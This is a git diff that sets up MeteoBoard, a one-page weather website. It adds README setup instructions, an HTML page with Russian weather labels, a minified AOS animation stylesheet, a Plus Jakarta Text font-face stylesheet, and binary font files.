diff --git a/README.md b/README.md
index e33ac39..10c7743 100644
--- a/README.md
+++ b/README.md
@@ -1,2 +1,19 @@
-# meteoboard
-One-page HTML and JS website with weather information (OWM Api) and meteo station sensor readings(narodmon api)
+# MeteoBoard
+## One-page HTML and JS website with weather information (OWM Api) and meteo station sensor readings(narodmon api)
+
+### Figma File:
+
+### How to run?
+1. Open file ./js/api.js
+2. Set the coordinates of your city in **lat** ang **lon** variables (example lat = 43.25 and lon = 76.95)
+3. Set the OpenWeatherMap API key in **apiKey** variable (https://openweathermap.org/api)
+4. Set the WAQI API key in **airApiKey** variable (https://aqicn.org/api)
+5. Run page!
+
+### Todo:
+~~make a design in figma~~
+~~Create an html page based on the design~~
+~~add integration with openweathermap (weather data)~~
+~~add integration with the wagi api (data api)~~
+add integration with the narodmon api (meteo sensors data)
+english supports
diff --git a/api.html b/api.html
new file mode 100644
index 0000000..6a29779
--- /dev/null
+++ b/api.html
@@ -0,0 +1,37 @@
+
+
+
+
+ Прогноз погоды
+
+
+
+
+
Текущая погода
+
Температура:
+
Влажность:
+
Время запроса:
+
Восход:
+
Закат:
+
Скорость ветра:
+
Направление ветра:
+
Состояние погоды:
+
UV индекс:
+
+
+
Почасовая погода (на 7 часов вперед)
+
+
+
Прогноз на неделю
+
+
+
+
+
diff --git a/css/aos.css b/css/aos.css
new file mode 100644
index 0000000..fe407ec
--- /dev/null
+++ b/css/aos.css
@@ -0,0 +1,2 @@
+[data-aos][data-aos][data-aos-duration='50'],body[data-aos-duration='50'] [data-aos]{transition-duration:50ms}[data-aos][data-aos][data-aos-delay='50'],body[data-aos-delay='50'] [data-aos]{transition-delay:0}[data-aos][data-aos][data-aos-delay='50'].aos-animate,body[data-aos-delay='50'] [data-aos].aos-animate{transition-delay:50ms}[data-aos][data-aos][data-aos-duration='100'],body[data-aos-duration='100'] [data-aos]{transition-duration:.1s}[data-aos][data-aos][data-aos-delay='100'],body[data-aos-delay='100'] [data-aos]{transition-delay:0}[data-aos][data-aos][data-aos-delay='100'].aos-animate,body[data-aos-delay='100'] [data-aos].aos-animate{transition-delay:.1s}[data-aos][data-aos][data-aos-duration='150'],body[data-aos-duration='150'] [data-aos]{transition-duration:.15s}[data-aos][data-aos][data-aos-delay='150'],body[data-aos-delay='150'] [data-aos]{transition-delay:0}[data-aos][data-aos][data-aos-delay='150'].aos-animate,body[data-aos-delay='150'] [data-aos].aos-animate{transition-delay:.15s}[data-aos][data-aos][data-aos-duration='200'],body[data-aos-duration='200'] [data-aos]{transition-duration:.2s}[data-aos][data-aos][data-aos-delay='200'],body[data-aos-delay='200'] [data-aos]{transition-delay:0}[data-aos][data-aos][data-aos-delay='200'].aos-animate,body[data-aos-delay='200'] [data-aos].aos-animate{transition-delay:.2s}[data-aos][data-aos][data-aos-duration='250'],body[data-aos-duration='250'] [data-aos]{transition-duration:.25s}[data-aos][data-aos][data-aos-delay='250'],body[data-aos-delay='250'] [data-aos]{transition-delay:0}[data-aos][data-aos][data-aos-delay='250'].aos-animate,body[data-aos-delay='250'] [data-aos].aos-animate{transition-delay:.25s}[data-aos][data-aos][data-aos-duration='300'],body[data-aos-duration='300'] [data-aos]{transition-duration:.3s}[data-aos][data-aos][data-aos-delay='300'],body[data-aos-delay='300'] [data-aos]{transition-delay:0}[data-aos][data-aos][data-aos-delay='300'].aos-animate,body[data-aos-delay='300'] [data-aos].aos-animate{transition-delay:.3s}[data-aos][data-aos][data-aos-duration='350'],body[data-aos-duration='350'] [data-aos]{transition-duration:.35s}[data-aos][data-aos][data-aos-delay='350'],body[data-aos-delay='350'] [data-aos]{transition-delay:0}[data-aos][data-aos][data-aos-delay='350'].aos-animate,body[data-aos-delay='350'] [data-aos].aos-animate{transition-delay:.35s}[data-aos][data-aos][data-aos-duration='400'],body[data-aos-duration='400'] [data-aos]{transition-duration:.4s}[data-aos][data-aos][data-aos-delay='400'],body[data-aos-delay='400'] [data-aos]{transition-delay:0}[data-aos][data-aos][data-aos-delay='400'].aos-animate,body[data-aos-delay='400'] [data-aos].aos-animate{transition-delay:.4s}[data-aos][data-aos][data-aos-duration='450'],body[data-aos-duration='450'] [data-aos]{transition-duration:.45s}[data-aos][data-aos][data-aos-delay='450'],body[data-aos-delay='450'] [data-aos]{transition-delay:0}[data-aos][data-aos][data-aos-delay='450'].aos-animate,body[data-aos-delay='450'] [data-aos].aos-animate{transition-delay:.45s}[data-aos][data-aos][data-aos-duration='500'],body[data-aos-duration='500'] [data-aos]{transition-duration:.5s}[data-aos][data-aos][data-aos-delay='500'],body[data-aos-delay='500'] [data-aos]{transition-delay:0}[data-aos][data-aos][data-aos-delay='500'].aos-animate,body[data-aos-delay='500'] [data-aos].aos-animate{transition-delay:.5s}[data-aos][data-aos][data-aos-duration='550'],body[data-aos-duration='550'] [data-aos]{transition-duration:.55s}[data-aos][data-aos][data-aos-delay='550'],body[data-aos-delay='550'] [data-aos]{transition-delay:0}[data-aos][data-aos][data-aos-delay='550'].aos-animate,body[data-aos-delay='550'] [data-aos].aos-animate{transition-delay:.55s}[data-aos][data-aos][data-aos-duration='600'],body[data-aos-duration='600'] [data-aos]{transition-duration:.6s}[data-aos][data-aos][data-aos-delay='600'],body[data-aos-delay='600'] [data-aos]{transition-delay:0}[data-aos][data-aos][data-aos-delay='600'].aos-animate,body[data-aos-delay='600'] [data-aos].aos-animate{transition-delay:.6s}[data-aos][data-aos][data-aos-duration='650'],body[data-aos-duration='650'] [data-aos]{transition-duration:.65s}[data-aos][data-aos][data-aos-delay='650'],body[data-aos-delay='650'] [data-aos]{transition-delay:0}[data-aos][data-aos][data-aos-delay='650'].aos-animate,body[data-aos-delay='650'] [data-aos].aos-animate{transition-delay:.65s}[data-aos][data-aos][data-aos-duration='700'],body[data-aos-duration='700'] [data-aos]{transition-duration:.7s}[data-aos][data-aos][data-aos-delay='700'],body[data-aos-delay='700'] [data-aos]{transition-delay:0}[data-aos][data-aos][data-aos-delay='700'].aos-animate,body[data-aos-delay='700'] [data-aos].aos-animate{transition-delay:.7s}[data-aos][data-aos][data-aos-duration='750'],body[data-aos-duration='750'] [data-aos]{transition-duration:.75s}[data-aos][data-aos][data-aos-delay='750'],body[data-aos-delay='750'] [data-aos]{transition-delay:0}[data-aos][data-aos][data-aos-delay='750'].aos-animate,body[data-aos-delay='750'] [data-aos].aos-animate{transition-delay:.75s}[data-aos][data-aos][data-aos-duration='800'],body[data-aos-duration='800'] [data-aos]{transition-duration:.8s}[data-aos][data-aos][data-aos-delay='800'],body[data-aos-delay='800'] [data-aos]{transition-delay:0}[data-aos][data-aos][data-aos-delay='800'].aos-animate,body[data-aos-delay='800'] [data-aos].aos-animate{transition-delay:.8s}[data-aos][data-aos][data-aos-duration='850'],body[data-aos-duration='850'] [data-aos]{transition-duration:.85s}[data-aos][data-aos][data-aos-delay='850'],body[data-aos-delay='850'] [data-aos]{transition-delay:0}[data-aos][data-aos][data-aos-delay='850'].aos-animate,body[data-aos-delay='850'] [data-aos].aos-animate{transition-delay:.85s}[data-aos][data-aos][data-aos-duration='900'],body[data-aos-duration='900'] [data-aos]{transition-duration:.9s}[data-aos][data-aos][data-aos-delay='900'],body[data-aos-delay='900'] [data-aos]{transition-delay:0}[data-aos][data-aos][data-aos-delay='900'].aos-animate,body[data-aos-delay='900'] [data-aos].aos-animate{transition-delay:.9s}[data-aos][data-aos][data-aos-duration='950'],body[data-aos-duration='950'] [data-aos]{transition-duration:.95s}[data-aos][data-aos][data-aos-delay='950'],body[data-aos-delay='950'] [data-aos]{transition-delay:0}[data-aos][data-aos][data-aos-delay='950'].aos-animate,body[data-aos-delay='950'] [data-aos].aos-animate{transition-delay:.95s}[data-aos][data-aos][data-aos-duration='1000'],body[data-aos-duration='1000'] [data-aos]{transition-duration:1s}[data-aos][data-aos][data-aos-delay='1000'],body[data-aos-delay='1000'] [data-aos]{transition-delay:0}[data-aos][data-aos][data-aos-delay='1000'].aos-animate,body[data-aos-delay='1000'] [data-aos].aos-animate{transition-delay:1s}[data-aos][data-aos][data-aos-duration='1050'],body[data-aos-duration='1050'] [data-aos]{transition-duration:1.05s}[data-aos][data-aos][data-aos-delay='1050'],body[data-aos-delay='1050'] [data-aos]{transition-delay:0}[data-aos][data-aos][data-aos-delay='1050'].aos-animate,body[data-aos-delay='1050'] [data-aos].aos-animate{transition-delay:1.05s}[data-aos][data-aos][data-aos-duration='1100'],body[data-aos-duration='1100'] [data-aos]{transition-duration:1.1s}[data-aos][data-aos][data-aos-delay='1100'],body[data-aos-delay='1100'] [data-aos]{transition-delay:0}[data-aos][data-aos][data-aos-delay='1100'].aos-animate,body[data-aos-delay='1100'] [data-aos].aos-animate{transition-delay:1.1s}[data-aos][data-aos][data-aos-duration='1150'],body[data-aos-duration='1150'] [data-aos]{transition-duration:1.15s}[data-aos][data-aos][data-aos-delay='1150'],body[data-aos-delay='1150'] [data-aos]{transition-delay:0}[data-aos][data-aos][data-aos-delay='1150'].aos-animate,body[data-aos-delay='1150'] [data-aos].aos-animate{transition-delay:1.15s}[data-aos][data-aos][data-aos-duration='1200'],body[data-aos-duration='1200'] [data-aos]{transition-duration:1.2s}[data-aos][data-aos][data-aos-delay='1200'],body[data-aos-delay='1200'] [data-aos]{transition-delay:0}[data-aos][data-aos][data-aos-delay='1200'].aos-animate,body[data-aos-delay='1200'] [data-aos].aos-animate{transition-delay:1.2s}[data-aos][data-aos][data-aos-duration='1250'],body[data-aos-duration='1250'] [data-aos]{transition-duration:1.25s}[data-aos][data-aos][data-aos-delay='1250'],body[data-aos-delay='1250'] [data-aos]{transition-delay:0}[data-aos][data-aos][data-aos-delay='1250'].aos-animate,body[data-aos-delay='1250'] [data-aos].aos-animate{transition-delay:1.25s}[data-aos][data-aos][data-aos-duration='1300'],body[data-aos-duration='1300'] [data-aos]{transition-duration:1.3s}[data-aos][data-aos][data-aos-delay='1300'],body[data-aos-delay='1300'] [data-aos]{transition-delay:0}[data-aos][data-aos][data-aos-delay='1300'].aos-animate,body[data-aos-delay='1300'] [data-aos].aos-animate{transition-delay:1.3s}[data-aos][data-aos][data-aos-duration='1350'],body[data-aos-duration='1350'] [data-aos]{transition-duration:1.35s}[data-aos][data-aos][data-aos-delay='1350'],body[data-aos-delay='1350'] [data-aos]{transition-delay:0}[data-aos][data-aos][data-aos-delay='1350'].aos-animate,body[data-aos-delay='1350'] [data-aos].aos-animate{transition-delay:1.35s}[data-aos][data-aos][data-aos-duration='1400'],body[data-aos-duration='1400'] [data-aos]{transition-duration:1.4s}[data-aos][data-aos][data-aos-delay='1400'],body[data-aos-delay='1400'] [data-aos]{transition-delay:0}[data-aos][data-aos][data-aos-delay='1400'].aos-animate,body[data-aos-delay='1400'] [data-aos].aos-animate{transition-delay:1.4s}[data-aos][data-aos][data-aos-duration='1450'],body[data-aos-duration='1450'] [data-aos]{transition-duration:1.45s}[data-aos][data-aos][data-aos-delay='1450'],body[data-aos-delay='1450'] [data-aos]{transition-delay:0}[data-aos][data-aos][data-aos-delay='1450'].aos-animate,body[data-aos-delay='1450'] [data-aos].aos-animate{transition-delay:1.45s}[data-aos][data-aos][data-aos-duration='1500'],body[data-aos-duration='1500'] [data-aos]{transition-duration:1.5s}[data-aos][data-aos][data-aos-delay='1500'],body[data-aos-delay='1500'] [data-aos]{transition-delay:0}[data-aos][data-aos][data-aos-delay='1500'].aos-animate,body[data-aos-delay='1500'] [data-aos].aos-animate{transition-delay:1.5s}[data-aos][data-aos][data-aos-duration='1550'],body[data-aos-duration='1550'] [data-aos]{transition-duration:1.55s}[data-aos][data-aos][data-aos-delay='1550'],body[data-aos-delay='1550'] [data-aos]{transition-delay:0}[data-aos][data-aos][data-aos-delay='1550'].aos-animate,body[data-aos-delay='1550'] [data-aos].aos-animate{transition-delay:1.55s}[data-aos][data-aos][data-aos-duration='1600'],body[data-aos-duration='1600'] [data-aos]{transition-duration:1.6s}[data-aos][data-aos][data-aos-delay='1600'],body[data-aos-delay='1600'] [data-aos]{transition-delay:0}[data-aos][data-aos][data-aos-delay='1600'].aos-animate,body[data-aos-delay='1600'] [data-aos].aos-animate{transition-delay:1.6s}[data-aos][data-aos][data-aos-duration='1650'],body[data-aos-duration='1650'] [data-aos]{transition-duration:1.65s}[data-aos][data-aos][data-aos-delay='1650'],body[data-aos-delay='1650'] [data-aos]{transition-delay:0}[data-aos][data-aos][data-aos-delay='1650'].aos-animate,body[data-aos-delay='1650'] [data-aos].aos-animate{transition-delay:1.65s}[data-aos][data-aos][data-aos-duration='1700'],body[data-aos-duration='1700'] [data-aos]{transition-duration:1.7s}[data-aos][data-aos][data-aos-delay='1700'],body[data-aos-delay='1700'] [data-aos]{transition-delay:0}[data-aos][data-aos][data-aos-delay='1700'].aos-animate,body[data-aos-delay='1700'] [data-aos].aos-animate{transition-delay:1.7s}[data-aos][data-aos][data-aos-duration='1750'],body[data-aos-duration='1750'] [data-aos]{transition-duration:1.75s}[data-aos][data-aos][data-aos-delay='1750'],body[data-aos-delay='1750'] [data-aos]{transition-delay:0}[data-aos][data-aos][data-aos-delay='1750'].aos-animate,body[data-aos-delay='1750'] [data-aos].aos-animate{transition-delay:1.75s}[data-aos][data-aos][data-aos-duration='1800'],body[data-aos-duration='1800'] [data-aos]{transition-duration:1.8s}[data-aos][data-aos][data-aos-delay='1800'],body[data-aos-delay='1800'] [data-aos]{transition-delay:0}[data-aos][data-aos][data-aos-delay='1800'].aos-animate,body[data-aos-delay='1800'] [data-aos].aos-animate{transition-delay:1.8s}[data-aos][data-aos][data-aos-duration='1850'],body[data-aos-duration='1850'] [data-aos]{transition-duration:1.85s}[data-aos][data-aos][data-aos-delay='1850'],body[data-aos-delay='1850'] [data-aos]{transition-delay:0}[data-aos][data-aos][data-aos-delay='1850'].aos-animate,body[data-aos-delay='1850'] [data-aos].aos-animate{transition-delay:1.85s}[data-aos][data-aos][data-aos-duration='1900'],body[data-aos-duration='1900'] [data-aos]{transition-duration:1.9s}[data-aos][data-aos][data-aos-delay='1900'],body[data-aos-delay='1900'] [data-aos]{transition-delay:0}[data-aos][data-aos][data-aos-delay='1900'].aos-animate,body[data-aos-delay='1900'] [data-aos].aos-animate{transition-delay:1.9s}[data-aos][data-aos][data-aos-duration='1950'],body[data-aos-duration='1950'] [data-aos]{transition-duration:1.95s}[data-aos][data-aos][data-aos-delay='1950'],body[data-aos-delay='1950'] [data-aos]{transition-delay:0}[data-aos][data-aos][data-aos-delay='1950'].aos-animate,body[data-aos-delay='1950'] [data-aos].aos-animate{transition-delay:1.95s}[data-aos][data-aos][data-aos-duration='2000'],body[data-aos-duration='2000'] [data-aos]{transition-duration:2s}[data-aos][data-aos][data-aos-delay='2000'],body[data-aos-delay='2000'] [data-aos]{transition-delay:0}[data-aos][data-aos][data-aos-delay='2000'].aos-animate,body[data-aos-delay='2000'] [data-aos].aos-animate{transition-delay:2s}[data-aos][data-aos][data-aos-duration='2050'],body[data-aos-duration='2050'] [data-aos]{transition-duration:2.05s}[data-aos][data-aos][data-aos-delay='2050'],body[data-aos-delay='2050'] [data-aos]{transition-delay:0}[data-aos][data-aos][data-aos-delay='2050'].aos-animate,body[data-aos-delay='2050'] [data-aos].aos-animate{transition-delay:2.05s}[data-aos][data-aos][data-aos-duration='2100'],body[data-aos-duration='2100'] [data-aos]{transition-duration:2.1s}[data-aos][data-aos][data-aos-delay='2100'],body[data-aos-delay='2100'] [data-aos]{transition-delay:0}[data-aos][data-aos][data-aos-delay='2100'].aos-animate,body[data-aos-delay='2100'] [data-aos].aos-animate{transition-delay:2.1s}[data-aos][data-aos][data-aos-duration='2150'],body[data-aos-duration='2150'] [data-aos]{transition-duration:2.15s}[data-aos][data-aos][data-aos-delay='2150'],body[data-aos-delay='2150'] [data-aos]{transition-delay:0}[data-aos][data-aos][data-aos-delay='2150'].aos-animate,body[data-aos-delay='2150'] [data-aos].aos-animate{transition-delay:2.15s}[data-aos][data-aos][data-aos-duration='2200'],body[data-aos-duration='2200'] [data-aos]{transition-duration:2.2s}[data-aos][data-aos][data-aos-delay='2200'],body[data-aos-delay='2200'] [data-aos]{transition-delay:0}[data-aos][data-aos][data-aos-delay='2200'].aos-animate,body[data-aos-delay='2200'] [data-aos].aos-animate{transition-delay:2.2s}[data-aos][data-aos][data-aos-duration='2250'],body[data-aos-duration='2250'] [data-aos]{transition-duration:2.25s}[data-aos][data-aos][data-aos-delay='2250'],body[data-aos-delay='2250'] [data-aos]{transition-delay:0}[data-aos][data-aos][data-aos-delay='2250'].aos-animate,body[data-aos-delay='2250'] [data-aos].aos-animate{transition-delay:2.25s}[data-aos][data-aos][data-aos-duration='2300'],body[data-aos-duration='2300'] [data-aos]{transition-duration:2.3s}[data-aos][data-aos][data-aos-delay='2300'],body[data-aos-delay='2300'] [data-aos]{transition-delay:0}[data-aos][data-aos][data-aos-delay='2300'].aos-animate,body[data-aos-delay='2300'] [data-aos].aos-animate{transition-delay:2.3s}[data-aos][data-aos][data-aos-duration='2350'],body[data-aos-duration='2350'] [data-aos]{transition-duration:2.35s}[data-aos][data-aos][data-aos-delay='2350'],body[data-aos-delay='2350'] [data-aos]{transition-delay:0}[data-aos][data-aos][data-aos-delay='2350'].aos-animate,body[data-aos-delay='2350'] [data-aos].aos-animate{transition-delay:2.35s}[data-aos][data-aos][data-aos-duration='2400'],body[data-aos-duration='2400'] [data-aos]{transition-duration:2.4s}[data-aos][data-aos][data-aos-delay='2400'],body[data-aos-delay='2400'] [data-aos]{transition-delay:0}[data-aos][data-aos][data-aos-delay='2400'].aos-animate,body[data-aos-delay='2400'] [data-aos].aos-animate{transition-delay:2.4s}[data-aos][data-aos][data-aos-duration='2450'],body[data-aos-duration='2450'] [data-aos]{transition-duration:2.45s}[data-aos][data-aos][data-aos-delay='2450'],body[data-aos-delay='2450'] [data-aos]{transition-delay:0}[data-aos][data-aos][data-aos-delay='2450'].aos-animate,body[data-aos-delay='2450'] [data-aos].aos-animate{transition-delay:2.45s}[data-aos][data-aos][data-aos-duration='2500'],body[data-aos-duration='2500'] [data-aos]{transition-duration:2.5s}[data-aos][data-aos][data-aos-delay='2500'],body[data-aos-delay='2500'] [data-aos]{transition-delay:0}[data-aos][data-aos][data-aos-delay='2500'].aos-animate,body[data-aos-delay='2500'] [data-aos].aos-animate{transition-delay:2.5s}[data-aos][data-aos][data-aos-duration='2550'],body[data-aos-duration='2550'] [data-aos]{transition-duration:2.55s}[data-aos][data-aos][data-aos-delay='2550'],body[data-aos-delay='2550'] [data-aos]{transition-delay:0}[data-aos][data-aos][data-aos-delay='2550'].aos-animate,body[data-aos-delay='2550'] [data-aos].aos-animate{transition-delay:2.55s}[data-aos][data-aos][data-aos-duration='2600'],body[data-aos-duration='2600'] [data-aos]{transition-duration:2.6s}[data-aos][data-aos][data-aos-delay='2600'],body[data-aos-delay='2600'] [data-aos]{transition-delay:0}[data-aos][data-aos][data-aos-delay='2600'].aos-animate,body[data-aos-delay='2600'] [data-aos].aos-animate{transition-delay:2.6s}[data-aos][data-aos][data-aos-duration='2650'],body[data-aos-duration='2650'] [data-aos]{transition-duration:2.65s}[data-aos][data-aos][data-aos-delay='2650'],body[data-aos-delay='2650'] [data-aos]{transition-delay:0}[data-aos][data-aos][data-aos-delay='2650'].aos-animate,body[data-aos-delay='2650'] [data-aos].aos-animate{transition-delay:2.65s}[data-aos][data-aos][data-aos-duration='2700'],body[data-aos-duration='2700'] [data-aos]{transition-duration:2.7s}[data-aos][data-aos][data-aos-delay='2700'],body[data-aos-delay='2700'] [data-aos]{transition-delay:0}[data-aos][data-aos][data-aos-delay='2700'].aos-animate,body[data-aos-delay='2700'] [data-aos].aos-animate{transition-delay:2.7s}[data-aos][data-aos][data-aos-duration='2750'],body[data-aos-duration='2750'] [data-aos]{transition-duration:2.75s}[data-aos][data-aos][data-aos-delay='2750'],body[data-aos-delay='2750'] [data-aos]{transition-delay:0}[data-aos][data-aos][data-aos-delay='2750'].aos-animate,body[data-aos-delay='2750'] [data-aos].aos-animate{transition-delay:2.75s}[data-aos][data-aos][data-aos-duration='2800'],body[data-aos-duration='2800'] [data-aos]{transition-duration:2.8s}[data-aos][data-aos][data-aos-delay='2800'],body[data-aos-delay='2800'] [data-aos]{transition-delay:0}[data-aos][data-aos][data-aos-delay='2800'].aos-animate,body[data-aos-delay='2800'] [data-aos].aos-animate{transition-delay:2.8s}[data-aos][data-aos][data-aos-duration='2850'],body[data-aos-duration='2850'] [data-aos]{transition-duration:2.85s}[data-aos][data-aos][data-aos-delay='2850'],body[data-aos-delay='2850'] [data-aos]{transition-delay:0}[data-aos][data-aos][data-aos-delay='2850'].aos-animate,body[data-aos-delay='2850'] [data-aos].aos-animate{transition-delay:2.85s}[data-aos][data-aos][data-aos-duration='2900'],body[data-aos-duration='2900'] [data-aos]{transition-duration:2.9s}[data-aos][data-aos][data-aos-delay='2900'],body[data-aos-delay='2900'] [data-aos]{transition-delay:0}[data-aos][data-aos][data-aos-delay='2900'].aos-animate,body[data-aos-delay='2900'] [data-aos].aos-animate{transition-delay:2.9s}[data-aos][data-aos][data-aos-duration='2950'],body[data-aos-duration='2950'] [data-aos]{transition-duration:2.95s}[data-aos][data-aos][data-aos-delay='2950'],body[data-aos-delay='2950'] [data-aos]{transition-delay:0}[data-aos][data-aos][data-aos-delay='2950'].aos-animate,body[data-aos-delay='2950'] [data-aos].aos-animate{transition-delay:2.95s}[data-aos][data-aos][data-aos-duration='3000'],body[data-aos-duration='3000'] [data-aos]{transition-duration:3s}[data-aos][data-aos][data-aos-delay='3000'],body[data-aos-delay='3000'] [data-aos]{transition-delay:0}[data-aos][data-aos][data-aos-delay='3000'].aos-animate,body[data-aos-delay='3000'] [data-aos].aos-animate{transition-delay:3s}[data-aos][data-aos][data-aos-easing=linear],body[data-aos-easing=linear] [data-aos]{transition-timing-function:cubic-bezier(.25,.25,.75,.75)}[data-aos][data-aos][data-aos-easing=ease],body[data-aos-easing=ease] [data-aos]{transition-timing-function:ease}[data-aos][data-aos][data-aos-easing=ease-in],body[data-aos-easing=ease-in] [data-aos]{transition-timing-function:ease-in}[data-aos][data-aos][data-aos-easing=ease-out],body[data-aos-easing=ease-out] [data-aos]{transition-timing-function:ease-out}[data-aos][data-aos][data-aos-easing=ease-in-out],body[data-aos-easing=ease-in-out] [data-aos]{transition-timing-function:ease-in-out}[data-aos][data-aos][data-aos-easing=ease-in-back],body[data-aos-easing=ease-in-back] [data-aos]{transition-timing-function:cubic-bezier(.6,-.28,.735,.045)}[data-aos][data-aos][data-aos-easing=ease-out-back],body[data-aos-easing=ease-out-back] [data-aos]{transition-timing-function:cubic-bezier(.175,.885,.32,1.275)}[data-aos][data-aos][data-aos-easing=ease-in-out-back],body[data-aos-easing=ease-in-out-back] [data-aos]{transition-timing-function:cubic-bezier(.68,-.55,.265,1.55)}[data-aos][data-aos][data-aos-easing=ease-in-sine],body[data-aos-easing=ease-in-sine] [data-aos]{transition-timing-function:cubic-bezier(.47,0,.745,.715)}[data-aos][data-aos][data-aos-easing=ease-out-sine],body[data-aos-easing=ease-out-sine] [data-aos]{transition-timing-function:cubic-bezier(.39,.575,.565,1)}[data-aos][data-aos][data-aos-easing=ease-in-out-sine],body[data-aos-easing=ease-in-out-sine] [data-aos]{transition-timing-function:cubic-bezier(.445,.05,.55,.95)}[data-aos][data-aos][data-aos-easing=ease-in-quad],body[data-aos-easing=ease-in-quad] [data-aos]{transition-timing-function:cubic-bezier(.55,.085,.68,.53)}[data-aos][data-aos][data-aos-easing=ease-out-quad],body[data-aos-easing=ease-out-quad] [data-aos]{transition-timing-function:cubic-bezier(.25,.46,.45,.94)}[data-aos][data-aos][data-aos-easing=ease-in-out-quad],body[data-aos-easing=ease-in-out-quad] [data-aos]{transition-timing-function:cubic-bezier(.455,.03,.515,.955)}[data-aos][data-aos][data-aos-easing=ease-in-cubic],body[data-aos-easing=ease-in-cubic] [data-aos]{transition-timing-function:cubic-bezier(.55,.085,.68,.53)}[data-aos][data-aos][data-aos-easing=ease-out-cubic],body[data-aos-easing=ease-out-cubic] [data-aos]{transition-timing-function:cubic-bezier(.25,.46,.45,.94)}[data-aos][data-aos][data-aos-easing=ease-in-out-cubic],body[data-aos-easing=ease-in-out-cubic] [data-aos]{transition-timing-function:cubic-bezier(.455,.03,.515,.955)}[data-aos][data-aos][data-aos-easing=ease-in-quart],body[data-aos-easing=ease-in-quart] [data-aos]{transition-timing-function:cubic-bezier(.55,.085,.68,.53)}[data-aos][data-aos][data-aos-easing=ease-out-quart],body[data-aos-easing=ease-out-quart] [data-aos]{transition-timing-function:cubic-bezier(.25,.46,.45,.94)}[data-aos][data-aos][data-aos-easing=ease-in-out-quart],body[data-aos-easing=ease-in-out-quart] [data-aos]{transition-timing-function:cubic-bezier(.455,.03,.515,.955)}[data-aos^=fade][data-aos^=fade]{opacity:0;transition-property:opacity,transform}[data-aos^=fade][data-aos^=fade].aos-animate{opacity:1;transform:translate(0)}[data-aos=fade-up]{transform:translateY(100px)}[data-aos=fade-down]{transform:translateY(-100px)}[data-aos=fade-right]{transform:translate(-100px)}[data-aos=fade-left]{transform:translate(100px)}[data-aos=fade-up-right]{transform:translate(-100px,100px)}[data-aos=fade-up-left]{transform:translate(100px,100px)}[data-aos=fade-down-right]{transform:translate(-100px,-100px)}[data-aos=fade-down-left]{transform:translate(100px,-100px)}[data-aos^=zoom][data-aos^=zoom]{opacity:0;transition-property:opacity,transform}[data-aos^=zoom][data-aos^=zoom].aos-animate{opacity:1;transform:translate(0) scale(1)}[data-aos=zoom-in]{transform:scale(.6)}[data-aos=zoom-in-up]{transform:translateY(100px) scale(.6)}[data-aos=zoom-in-down]{transform:translateY(-100px) scale(.6)}[data-aos=zoom-in-right]{transform:translate(-100px) scale(.6)}[data-aos=zoom-in-left]{transform:translate(100px) scale(.6)}[data-aos=zoom-out]{transform:scale(1.2)}[data-aos=zoom-out-up]{transform:translateY(100px) scale(1.2)}[data-aos=zoom-out-down]{transform:translateY(-100px) scale(1.2)}[data-aos=zoom-out-right]{transform:translate(-100px) scale(1.2)}[data-aos=zoom-out-left]{transform:translate(100px) scale(1.2)}[data-aos^=slide][data-aos^=slide]{transition-property:transform}[data-aos^=slide][data-aos^=slide].aos-animate{transform:translate(0)}[data-aos=slide-up]{transform:translateY(100%)}[data-aos=slide-down]{transform:translateY(-100%)}[data-aos=slide-right]{transform:translateX(-100%)}[data-aos=slide-left]{transform:translateX(100%)}[data-aos^=flip][data-aos^=flip]{backface-visibility:hidden;transition-property:transform}[data-aos=flip-left]{transform:perspective(2500px) rotateY(-100deg)}[data-aos=flip-left].aos-animate{transform:perspective(2500px) rotateY(0)}[data-aos=flip-right]{transform:perspective(2500px) rotateY(100deg)}[data-aos=flip-right].aos-animate{transform:perspective(2500px) rotateY(0)}[data-aos=flip-up]{transform:perspective(2500px) rotateX(-100deg)}[data-aos=flip-up].aos-animate{transform:perspective(2500px) rotateX(0)}[data-aos=flip-down]{transform:perspective(2500px) rotateX(100deg)}[data-aos=flip-down].aos-animate{transform:perspective(2500px) rotateX(0)}
+/*# sourceMappingURL=aos.css.map*/
\ No newline at end of file
diff --git a/css/plus-jakarta-text.min.css b/css/plus-jakarta-text.min.css
new file mode 100644
index 0000000..749bfc3
--- /dev/null
+++ b/css/plus-jakarta-text.min.css
@@ -0,0 +1,8 @@
+/**
+ * Minified by jsDelivr using clean-css v5.3.2.
+ * Original file: /npm/@xz/fonts@1.0.2/serve/plus-jakarta-text.css
+ *
+ * Do NOT use SRI with dynamically generated files! More information: https://www.jsdelivr.com/using-sri-with-dynamic-files
+ */
+@font-face{font-family:'Plus Jakarta Text';src:url('../fonts/PlusJakartaText-Light.woff2') format('woff2'),url('../fonts/PlusJakartaText-Light.woff') format('woff');font-weight:300;font-style:normal;font-display:swap}@font-face{font-family:'Plus Jakarta Text';src:url('../fonts/PlusJakartaText-LightItalic.woff2') format('woff2'),url('../fonts/PlusJakartaText-LightItalic.woff') format('woff');font-weight:300;font-style:italic;font-display:swap}@font-face{font-family:'Plus Jakarta Text';src:url('../fonts/PlusJakartaText-Regular.woff2') format('woff2'),url('../fonts/PlusJakartaText-Regular.woff') format('woff');font-weight:400;font-style:normal;font-display:swap}@font-face{font-family:'Plus Jakarta Text';src:url('../fonts/PlusJakartaText-Italic.woff2') format('woff2'),url('../fonts/PlusJakartaText-Italic.woff') format('woff');font-weight:400;font-style:italic;font-display:swap}@font-face{font-family:'Plus Jakarta Text';src:url('../fonts/PlusJakartaText-Bold.woff2') format('woff2'),url('../fonts/PlusJakartaText-Bold.woff') format('woff');font-weight:700;font-style:normal;font-display:swap}@font-face{font-family:'Plus Jakarta Text';src:url('../fonts/PlusJakartaText-BoldItalic.woff2') format('woff2'),url('../fonts/PlusJakartaText-BoldItalic.woff') format('woff');font-weight:700;font-style:italic;font-display:swap}
+/*# sourceMappingURL=/sm/34fbdbc0c18592b294d57e5ec4151b9bb66eb73f579913013817af219ee95721.map */
\ No newline at end of file
diff --git a/favicon.ico b/favicon.ico
new file mode 100644
index 0000000..8968ec6
Binary files /dev/null and b/favicon.ico differ
diff --git a/fonts/PlusJakartaText-Bold.woff b/fonts/PlusJakartaText-Bold.woff
new file mode 100644
index 0000000..4d81e6b
Binary files /dev/null and b/fonts/PlusJakartaText-Bold.woff differ
diff --git a/fonts/PlusJakartaText-Bold.woff2 b/fonts/PlusJakartaText-Bold.woff2
new file mode 100644
index 0000000..7c1611c
Binary files /dev/null and b/fonts/PlusJakartaText-Bold.woff2 differ
diff --git a/fonts/PlusJakartaText-BoldItalic.woff b/fonts/PlusJakartaText-BoldItalic.woff
new file mode 100644
index 0000000..88ba733
Binary files /dev/null and b/fonts/PlusJakartaText-BoldItalic.woff differ
